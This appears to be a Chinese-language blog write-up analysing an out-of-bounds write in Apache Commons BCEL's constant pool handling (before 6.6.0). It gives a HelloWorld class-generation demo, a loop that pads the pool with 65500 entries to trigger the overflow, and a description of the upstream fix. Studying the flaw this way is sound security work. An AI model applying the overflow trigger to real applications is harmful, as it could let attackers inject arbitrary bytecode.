Apache Commons BCEL旨在为用户提供一种方便的方法来分析、创建和操作(二进制)Java 类文件(以 .class 结尾的文件)。类由包含给定类的所有符号信息的对象表示:特别是方法、字段和字节码指令。
这些对象可以从现有文件中读取,由程序(例如运行时的类加载器)转换并再次写入文件,一个更有趣的应用是在运行时从头开始创建类
BCEL 包含一个名为 JustIce 的字节码验证器,它通常会为您提供比标准 JVM 消息更好的关于代码错误的信息。
首先看看apache list中的解释
Apache Commons BCEL 有许多通常只允许更改特定类特征的 API。但是,由于越界写入问题,这些 API 可用于生成任意字节码。这可能会在将攻击者可控制的数据传递给这些 API 的应用程序中被滥用,从而使攻击者能够比预期更多地控制生成的字节码
< 6.6.0
在这里我们可以看到漏洞的细节
https://github.com/apache/commons-bcel/pull/147
我们首先来了解一下bcel的用法
查看官方文档
我们从上面的修复位置可以知道主要是在常量池的位置造成的越界写入漏洞
我们直接关注到常量池的解释中去
在ClassGen
中
该类是用来构建 Java 类的模板类。可以使用现有的 java 类(文件)进行初始化
而这个类是在org.apache.bcel.generic
包下的一个类,这个包提供了一个用于动态创建或转换类文件的抽象级别。它使 Java 类文件的静态约束(如硬编码的字节码地址)变得“通用”。例如,通用常量池由类 ConstantPoolGen 实现,该类提供添加不同类型常量的方法。因此,ClassGen 提供了一个接口来添加方法、字段和属性
对于ConstantPoolGen
这个类用于构建常量池。用户通过“addXXX”方法、“addString”、“addClass”等方法添加常量。这些方法返回常量池的索引。最后,`getFinalConstantPool()' 返回建立起来的常量池。
该类中设计了多个addxxx方法可以添加不同类型的常量
最后通过调用getFinalConstantPool
方法获取创建的常量池
之后通过调用ClassGen
的相关API进行接下来的操作
看一下官方给出的关系图
对于漏洞的触发点,我们可以通过查看commit
在修复前,在对给定的常量数组进行初始化的时候,并没有限制传入的常量数组cs
的大小
只是在默认的BUFFER大小为256
和在传入的常量数组长度+64之后去了个最大的值作为了size
如果这时候传入的cs数组+64是大于65535这个临界值的时候将会导致越界漏洞的产生
所以对于漏洞的利用只需要在常量数组中前面写入足够长的垃圾数据,后面写入恶意常量数据,将会在通过getFinalConstantPool
方法返回对应的ConstantPool
对象之后调用其dump
方法从二进制流到文件流的转换
就能够成功写入文件了
我们可以简单写一个demo来通过Apache Commons BCEL API动态生成一个HelloWorld.class文件
package pers.bcel; import org.apache.bcel.generic.*; import org.aspectj.apache.bcel.Constants; import static org.apache.bcel.Const.ACC_PUBLIC; import static org.apache.bcel.Const.ACC_SUPER; import static org.apache.bcel.Constants.ACC_STATIC; public class TestBcel { public static void main(String[] args) { try { // BCEL Appendix A example // ClassGen(String class_name, String super_class_name, String // file_name, int access_flags, String[] interfaces) ClassGen cg = new ClassGen("HelloWorld", "java.lang.Object", "<generated>", ACC_PUBLIC | ACC_SUPER, null); ConstantPoolGen cp = cg.getConstantPool(); InstructionList il = new InstructionList(); // create main method // MethodGen(int access_flags, Type return_type, Type[] arg_types, // String[] arg_names, String method_name, String class_name, // InstructionList il, ConstantPoolGen cp) MethodGen mg = new MethodGen(ACC_STATIC | ACC_PUBLIC, Type.VOID, new Type[] { new ArrayType(Type.STRING, 1) }, new String[] { "argv" }, "main", "HelloWorld", il, cp); LocalVariableGen lg = null; InstructionFactory factory = new InstructionFactory(cg); // define some often used types ObjectType i_stream = new ObjectType("java.io.InputStream"); ObjectType p_stream = new ObjectType("java.io.PrintStream"); //%% //BufferedReader in = new BufferedReader(new InputStreamReader(System.in)); //%% // create variables in and name il.append(factory.createNew("java.io.BufferedReader")); il.append(InstructionConstants.DUP); il.append(factory.createNew("java.io.InputStreamReader")); il.append(InstructionConstants.DUP); //init input stream il.append(factory.createFieldAccess("java.lang.System", "in", i_stream, Constants.GETSTATIC)); // for (int j = 0; j < 21845; j++) { // il.append(factory.createFieldAccess("java.lang.System", "in", i_stream, Constants.GETSTATIC)); // } il.append(factory.createInvoke("java.io.InputStreamReader", "<init>", Type.VOID, new Type[] { i_stream }, Constants.INVOKESPECIAL)); il.append(factory.createInvoke("java.io.BufferedReader", "<init>", Type.VOID, new Type[] { new ObjectType("java.io.Reader") }, Constants.INVOKESPECIAL)); //add in into the local variable pool and get the index automatically lg = mg.addLocalVariable("in", new ObjectType( "java.io.BufferedReader"), null, null); int in = lg.getIndex();//index of "in" var lg.setStart(il.append(new ASTORE(in)));//store the reference into local variable //首先创建对象,并初始化,操作结果在JVM的“堆”里,还需要在本地变量表中创建引用,因此在本地变量表中添加一个“in”比那辆, //然后根据索引值调用“astore”指令,即可将对象引用赋值给本地变量 /* 0: new #8; //class java/io/BufferedReader 3: dup 4: new #10; //class java/io/InputStreamReader 7: dup 8: getstatic #16; //Field java/lang/System.in:Ljava/io/InputStream; 11: invokespecial #20; //Method java/io/InputStreamReader."<init>":(Ljava/io/InputStream;)V 14: invokespecial #23; //Method java/io/BufferedReader."<init>":(Ljava/io/Reader;)V 17: astore_1 * */ //%% //String name = null; //%% // create local variable name and init it to null lg = mg.addLocalVariable("name", Type.STRING, null, null); int name = lg.getIndex(); il.append(InstructionConstants.ACONST_NULL);//add "null" to the stack top lg.setStart(il.append(new ASTORE(name)));//"store" the value of "null" into "name" var //%% //System.out.print("Please enter your name> ") //%% // create try_catch block InstructionHandle try_start = il.append(factory.createFieldAccess( "java.lang.System", "out", p_stream, Constants.GETSTATIC)); //从常量池中取出“please .....”,压入栈顶:这里感觉有问题,这个字符串常量应该先压入常量池才可以(最好是在这之前加一句, //加一句添加常量池操作其实并不影响实际运行的效率) il.append(new PUSH(cp, "Please enter your name> ")); il.append(factory.createInvoke("java.io.PrintStream", "print", Type.VOID, new Type[] { Type.STRING }, Constants.INVOKEVIRTUAL)); //%% //name = in.readLine(); //%% //将本地变量“in”推送至栈顶 il.append(new ALOAD(in)); il.append(factory.createInvoke("java.io.BufferedReader", "readLine", Type.STRING, Type.NO_ARGS, Constants.INVOKEVIRTUAL));//调用readLine()方法 il.append(new ASTORE(name));//接收的结果在栈顶,需要保存,因此加上保存到“name”slot的指令 //%% // } catch(IOException e) { return; } //%% GOTO g = new GOTO(null); InstructionHandle try_end = il.append(g); //add return:如果出异常,才会走到这条“return”指令,并返回到caller中 InstructionHandle handler = il.append(InstructionConstants.RETURN); // add exception handler which returns from the method mg.addExceptionHandler(try_start, try_end, handler, null); //%% //没有异常,继续执行:System.out.println("Hello, " + name); //%% // "normal" code continues, set the branch target of the GOTO InstructionHandle ih = il.append(factory.createFieldAccess( "java.lang.System", "out", p_stream, Constants.GETSTATIC)); g.setTarget(ih); // print "Hello":创建一个StringBuffer对象,通过调用StringBuffer的append操作,实现 //string1 + string2的操作,并且操作结果调用toString方法 il.append(factory.createNew(Type.STRINGBUFFER)); il.append(InstructionConstants.DUP); il.append(new PUSH(cp, "Hello, ")); il.append(factory.createInvoke("java.lang.StringBuffer", "<init>", Type.VOID, new Type[] { Type.STRING }, Constants.INVOKESPECIAL)); il.append(new ALOAD(name)); il.append(factory.createInvoke("java.lang.StringBuffer", "append", Type.STRINGBUFFER, new Type[] { Type.STRING }, Constants.INVOKEVIRTUAL)); // il.append(factory.createInvoke("java.lang.StringBuffer", "toString", Type.STRING, Type.NO_ARGS, Constants.INVOKEVIRTUAL)); il.append(factory.createInvoke("java.io.PrintStream", "println", Type.VOID, new Type[] { Type.STRING }, Constants.INVOKEVIRTUAL)); il.append(InstructionConstants.RETURN); // finalization mg.setMaxStack(); cg.addMethod(mg.getMethod()); il.dispose(); cg.addEmptyConstructor(ACC_PUBLIC); // dump the class cg.getJavaClass().dump("HelloWorld.class"); System.out.println("dump successly"); } catch (java.io.IOException e) { System.err.println(e); } catch (Exception e1) { e1.printStackTrace(); } } }
运行上面的代码,可以得到一个类文件
主要是在后面通过cg.getJavaClass.dump
中进而调用了ConstantPool#dump
方法写入文件
根据上面的描述,如果我们在前面添加一些垃圾数据,将会导致越界写入
我这里通过添加65500个变量来作为垃圾数据进行填充
for (int j = 0; j < 65500; j++) { lg = mg.addLocalVariable("name" + j, Type.STRING, null, null); int name = lg.getIndex(); il.append(InstructionConstants.ACONST_NULL);//add "null" to the stack top lg.setStart(il.append(new ASTORE(name)));//"store" the value of "null" into "name" var }
通过调试,我们可以知道这时候的constantPool.length=65570
将会导致多余的常量越界写入,这里我就是任意的二进制数据,可以精心构造一个完整的class文件
官方通过增加上限的方式在关键方法增加了判断
比如在ConstantPoolGen
的构造方法中初始化常量数组的过程中
又或者是在adjustSize
方法中添加判断
最后在调用dump
方法进行转换的时候也进行了限制
尝试进行写入:
将会抛出异常
虽然这是一个影响范围并不高的CVE,但是还是能从中学到一些东西,善于关注有没有上限下限的限制?或许会有不错的收获